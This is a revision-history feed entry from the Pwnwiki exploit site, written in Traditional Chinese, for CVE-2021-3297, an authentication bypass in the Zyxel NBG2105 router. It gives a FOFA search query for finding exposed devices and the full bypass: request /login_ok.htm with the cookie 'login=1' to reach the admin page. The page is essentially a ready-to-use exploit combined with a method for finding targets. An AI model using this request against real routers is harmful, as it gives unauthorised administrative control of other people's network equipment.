https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-3297_Zyxel_NBG2105_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E%2Fzh-hant
CVE-2021-3297 Zyxel NBG2105 身份驗證繞過漏洞/zh-hant - Revision history
2026-04-08T23:22:03Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2021-3297_Zyxel_NBG2105_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E/zh-hant&diff=3566&oldid=prev
Pwnwiki: Created page with "請求如下則會以管理員身份跳轉到 <code>home.htm</code>頁面。"
2021-05-26T13:43:08Z
<p>Created page with "請求如下則會以管理員身份跳轉到 <code>home.htm</code>頁面。"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==漏洞影響==<br />
<pre><br />
Zyxel NBG2105<br />
</pre><br />
<br />
<br />
==FOFA==<br />
<pre><br />
app="ZyXEL-NBG2105"<br />
</pre><br />
<br />
[[File:Xnip2021-04-06 09-32-28.jpg|800px]]<br />
<br />
<br />
其中前端文件 <code>/js/util_gw.js</code> 存在前端對 <code>Cookie login</code>參數的校驗。<br />
<br />
請求如下則會以管理員身份跳轉到 <code>home.htm</code>頁面。<br />
<pre><br />
<br />
http://xxx.xxx.xxx.xxx/login_ok.htm<br />
<br />
Cookie: login=1;<br />
</pre><br />
<br />
<br />
[[File:Xnip2021-04-06_09-36-42.jpg |800px]]</div>
Pwnwiki